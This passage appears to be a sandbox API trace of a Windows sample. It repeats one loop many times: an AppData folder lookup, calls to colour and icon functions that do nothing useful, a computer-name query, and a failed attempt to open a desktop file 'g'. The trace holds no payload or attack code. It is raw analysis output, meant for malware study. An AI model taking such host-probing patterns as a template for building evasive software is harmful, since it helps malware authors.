pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.801] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.801] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.801] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.801] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.801] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.801] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.801] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.801] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.801] CloseHandle (hObject=0x0) returned 0 [0222.801] CloseHandle (hObject=0xffffffff) returned 1 [0222.801] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.801] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.801] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.801] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.801] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.801] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.801] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.801] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.802] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.802] CloseHandle (hObject=0x0) returned 0 [0222.802] CloseHandle (hObject=0xffffffff) returned 1 [0222.802] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.802] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.802] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.802] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.802] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.802] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.802] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.802] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.802] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.802] CloseHandle (hObject=0x0) returned 0 [0222.802] CloseHandle (hObject=0xffffffff) returned 1 [0222.802] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.802] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.802] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.802] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.802] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.802] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.802] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.802] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.802] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.803] CloseHandle (hObject=0x0) returned 0 [0222.803] CloseHandle (hObject=0xffffffff) returned 1 [0222.803] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.803] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.803] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.803] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.803] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.803] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.803] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.803] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.803] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.803] CloseHandle (hObject=0x0) returned 0 [0222.803] CloseHandle (hObject=0xffffffff) returned 1 [0222.803] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.803] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.804] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.804] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.804] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.804] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.804] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.804] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.804] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.804] CloseHandle (hObject=0x0) returned 0 [0222.804] CloseHandle (hObject=0xffffffff) returned 1 [0222.804] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.804] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.804] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.804] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.804] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.804] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.804] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.804] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.804] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.804] CloseHandle (hObject=0x0) returned 0 [0222.804] CloseHandle (hObject=0xffffffff) returned 1 [0222.804] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.804] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.804] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.804] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.804] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.805] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.805] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.805] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.805] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.805] CloseHandle (hObject=0x0) returned 0 [0222.805] CloseHandle (hObject=0xffffffff) returned 1 [0222.805] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.805] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.805] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.805] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.805] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.805] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.805] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.805] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.805] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.805] CloseHandle (hObject=0x0) returned 0 [0222.805] CloseHandle (hObject=0xffffffff) returned 1 [0222.805] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.805] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.805] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.805] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.805] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.805] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.806] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.806] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.806] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.806] CloseHandle (hObject=0x0) returned 0 [0222.806] CloseHandle (hObject=0xffffffff) returned 1 [0222.806] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.806] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.806] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.806] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.806] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.806] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.806] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.806] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.806] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.806] CloseHandle (hObject=0x0) returned 0 [0222.806] CloseHandle (hObject=0xffffffff) returned 1 [0222.806] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.806] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.806] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.806] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.806] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.806] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.806] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.806] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.807] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.807] CloseHandle (hObject=0x0) returned 0 [0222.807] CloseHandle (hObject=0xffffffff) returned 1 [0222.807] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.807] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.807] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.807] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.807] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.807] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.807] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.807] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.807] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.807] CloseHandle (hObject=0x0) returned 0 [0222.807] CloseHandle (hObject=0xffffffff) returned 1 [0222.807] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.807] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.807] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.807] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.807] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.807] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.807] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.807] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.807] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.807] CloseHandle (hObject=0x0) returned 0 [0222.807] CloseHandle (hObject=0xffffffff) returned 1 [0222.808] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.808] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.808] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.808] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.808] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.808] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.808] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.808] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.808] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.808] CloseHandle (hObject=0x0) returned 0 [0222.808] CloseHandle (hObject=0xffffffff) returned 1 [0222.808] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.808] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.808] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.808] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.808] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.808] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.808] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.808] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.808] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.808] CloseHandle (hObject=0x0) returned 0 [0222.808] CloseHandle (hObject=0xffffffff) returned 1 [0222.808] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.809] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.809] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0222.809] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0222.809] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0222.809] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0222.809] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0222.809] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0222.809] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0222.809] CloseHandle (hObject=0x0) returned 0 [0222.809] CloseHandle (hObject=0xffffffff) returned 1 [0222.809] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0222.809] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0222.809] 